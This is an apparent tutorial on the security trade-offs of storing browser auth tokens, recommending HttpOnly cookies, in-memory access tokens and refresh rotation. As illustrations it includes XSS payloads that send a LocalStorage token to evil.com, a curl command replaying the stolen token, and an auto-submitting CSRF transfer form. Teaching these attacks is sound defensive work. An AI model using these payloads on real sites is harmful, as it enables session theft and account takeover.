Auth Token Storage Trade-offs

User logs in:
  POST /api/login { email, password }
  → Server validates credentials
  → Server issues token: { accessToken: "eyJhbG...", expiresIn: 900 }

Client must:
  1. STORE the token somewhere on the client
  2. SEND it with every API request (Authorization header or cookie)
  3. PROTECT it from being stolen by malicious scripts

The question: WHERE do you store it?

  ┌─────────────────┐  ┌─────────────────┐
  │  LocalStorage   │  │  SessionStorage │
  │  ✅ Persistent   │  │  ✅ Tab-scoped  │
  │  ❌ XSS readable │  │  ❌ XSS readable│
  └─────────────────┘  └─────────────────┘

  ┌─────────────────┐  ┌──────────────────┐
  │ HttpOnly Cookie │  │  In-Memory       │
  │  ✅ XSS-safe     │ │  ✅ XSS-safe      │
  │  ❌ CSRF risk    │ │❌ Lost on refresh │
  └─────────────────┘  └──────────────────┘

  Every option has a weakness. The goal is to pick the
  option whose weakness is easiest to mitigate.

// After login
localStorage.setItem("accessToken", "eyJhbGciOiJIUzI1NiJ9...");

// On every API request
fetch("/api/data", {
  headers: {
    Authorization: `Bearer ${localStorage.getItem("accessToken")}`,
  },
});

// On logout
localStorage.removeItem("accessToken");

// If an attacker injects this script via XSS:
const token = localStorage.getItem("accessToken");

// They can exfiltrate the token to their server:
new Image().src = "https://evil.com/steal?token=" + token;

// Now the attacker has the user's token and can:
// - Access the user's account from anywhere
// - Make API calls as the user
// - The token works until it expires (could be hours/days)

// This is the fundamental problem with LocalStorage for tokens.
// There is NO way to prevent JavaScript from reading LocalStorage.

// After login
sessionStorage.setItem("accessToken", "eyJhbGciOiJIUzI1NiJ9...");

// On API request
fetch("/api/data", {
  headers: {
    Authorization: `Bearer ${sessionStorage.getItem("accessToken")}`,
  },
});

// Behavior:
// ✅ Cleared when tab closes (limits exposure window)
// ❌ User must re-login in every new tab
// ❌ Still readable by any JS on the page (XSS vulnerable)
// ❌ Not shared across tabs (poor multi-tab UX)

── Login Response ─────────────────────────────────

  HTTP/2 200 OK
  Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9...;
              HttpOnly;        ← JavaScript CANNOT read this
              Secure;          ← Only sent over HTTPS
              SameSite=Strict; ← Not sent on cross-site requests
              Path=/;          ← Sent for all paths
              Max-Age=900      ← Expires in 15 minutes

── Subsequent API Request ─────────────────────────

  GET /api/data HTTP/2
  Cookie: token=eyJhbGciOiJIUzI1NiJ9...
  ↑ Browser sends cookie AUTOMATICALLY — no JS needed

── XSS Attack Attempt ─────────────────────────────

  document.cookie  → ""  (HttpOnly cookies are invisible!)
  // Attacker cannot read, copy, or exfiltrate the token.
  // The token exists only in the browser's cookie jar,
  // inaccessible to any JavaScript.

// Module-level variable — not in any storage API
let accessToken = null;

export function setToken(token) {
  accessToken = token;
}

export function getToken() {
  return accessToken;
}

// On API request
fetch("/api/data", {
  headers: {
    Authorization: `Bearer ${getToken()}`,
  },
});

// Behavior:
// ✅ Not in LocalStorage, SessionStorage, or cookies
// ✅ XSS can't read it from storage APIs
// ❌ Lost on page refresh — user must re-authenticate
// ❌ Lost on tab close
// ❌ Not shared across tabs

How XSS steals tokens from Web Storage:

1. Attacker finds XSS vulnerability
   (unsanitized user input, vulnerable dependency, inline script)

2. Attacker injects malicious JavaScript:
   <img src="x" onerror="
     fetch('https://evil.com/steal', {
       method: 'POST',
       body: localStorage.getItem('accessToken')
     })
   ">

3. Victim visits the page → script executes → token is sent to attacker

4. Attacker uses the stolen token from their own machine:
   curl -H "Authorization: Bearer eyJhbG..." https://api.example.com/account

5. Attacker has full access to the victim's account.

What's vulnerable:
  ❌ LocalStorage    → token readable via localStorage.getItem()
  ❌ SessionStorage  → token readable via sessionStorage.getItem()
  ❌ JS Cookie       → token readable via document.cookie
  ✅ HttpOnly Cookie → NOT readable by JavaScript
  ✅ In-Memory       → NOT in any storage API (harder to find)

How CSRF exploits cookies:

1. User is logged in to bank.com (auth cookie is set)

2. User visits evil.com (attacker's site)

3. evil.com contains a hidden form:
   <form action="https://bank.com/transfer" method="POST">
     <input name="to" value="attacker" />
     <input name="amount" value="10000" />
   </form>
   <script>document.forms[0].submit()</script>

4. Browser sends the form POST to bank.com
   AND automatically includes the auth cookie
   (because cookies are sent with ALL requests to their origin)

5. bank.com sees a valid cookie → processes the transfer
   The user never intended this request.

What's vulnerable:
  ❌ Any cookie (sent automatically with requests)
  ✅ LocalStorage    → NOT sent automatically
  ✅ SessionStorage  → NOT sent automatically
  ✅ In-Memory       → NOT sent automatically

CSRF mitigations for cookies:
  • SameSite=Strict (cookie not sent on cross-site requests)
  • CSRF tokens (server validates a unique token per request)
  • Check Origin/Referer headers on the server

Is the token sensitive (grants account access)?
  │
  ├─ YES (auth token, JWT)
  │   │
  │   ├─ Can you set cookies from the server?
  │   │   │
  │   │   ├─ YES → HttpOnly Cookie + Secure + SameSite=Strict
  │   │   │        (Best balance of security and UX)
  │   │   │
  │   │   └─ NO (third-party API, no server control)
  │   │       │
  │   │       ├─ High security needed? → In-Memory + refresh token in HttpOnly cookie
  │   │       │
  │   │       └─ Acceptable risk? → LocalStorage + short expiry + strong CSP
  │   │
  │   └─ Is it a refresh token?
  │       └─ ALWAYS HttpOnly Cookie (long-lived, high value)
  │
  └─ NO (non-sensitive, e.g., feature flags)
      └─ LocalStorage is fine

Set-Cookie: access_token=eyJhbG...;
  HttpOnly;              ← JS can't read it
  Secure;                ← HTTPS only
  SameSite=Strict;       ← No cross-site requests
  Path=/api;             ← Only sent to API routes
  Max-Age=900;           ← 15 minute expiry

Set-Cookie: refresh_token=dGhpcyBp...;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/api/auth/refresh; ← Only sent to refresh endpoint
  Max-Age=604800;         ← 7 day expiry

── Login ──────────────────────────────────────────

  POST /api/auth/login { email, password }

  Response:
    Body: { accessToken: "eyJhbG...", expiresIn: 900 }
    Set-Cookie: refresh_token=dGhpcyBp...; HttpOnly; Secure; SameSite=Strict

  Client stores:
    accessToken → JavaScript variable (in-memory)
    refreshToken → HttpOnly cookie (browser manages it)

── API Request ────────────────────────────────────

  GET /api/data
  Authorization: Bearer eyJhbG...  ← access token from memory
  Cookie: (refresh_token is NOT sent — Path=/api/auth/refresh)

── Access Token Expires (15 min) ──────────────────

  GET /api/data → 401 Unauthorized

  Client automatically calls:
  POST /api/auth/refresh
  Cookie: refresh_token=dGhpcyBp...  ← sent automatically

  Response:
    Body: { accessToken: "new_eyJhbG...", expiresIn: 900 }
    Set-Cookie: refresh_token=new_dGhpcyBp...; HttpOnly; ...
    (old refresh token is invalidated — rotation)

  Client stores new access token in memory.
  User never notices — silent refresh.

── Page Refresh ───────────────────────────────────

  Access token in memory is lost.
  Client calls /api/auth/refresh (cookie is still there).
  Gets a new access token. User stays logged in.

── Login ──────────────────────────────────────────

  POST /api/auth/login { email, password }

  Response:
    Set-Cookie: access_token=eyJhbG...; HttpOnly; Secure;
                SameSite=Strict; Path=/api; Max-Age=900
    Set-Cookie: refresh_token=dGhpcyBp...; HttpOnly; Secure;
                SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800

  Client stores: nothing! Browser manages both cookies.

── API Request ────────────────────────────────────

  GET /api/data
  Cookie: access_token=eyJhbG...  ← sent automatically

  No Authorization header needed. No JS touches the token.

── Pros ───────────────────────────────────────────
  • Simplest client code — no token management in JS
  • Both tokens are HttpOnly — XSS can't read either
  • Works without JavaScript (SSR, progressive enhancement)

── Cons ───────────────────────────────────────────
  • CSRF risk — must use SameSite + CSRF token
  • Cookie sent with every request (even non-API requests)
    → Use Path=/api to limit this
  • Harder with cross-origin APIs (CORS + credentials)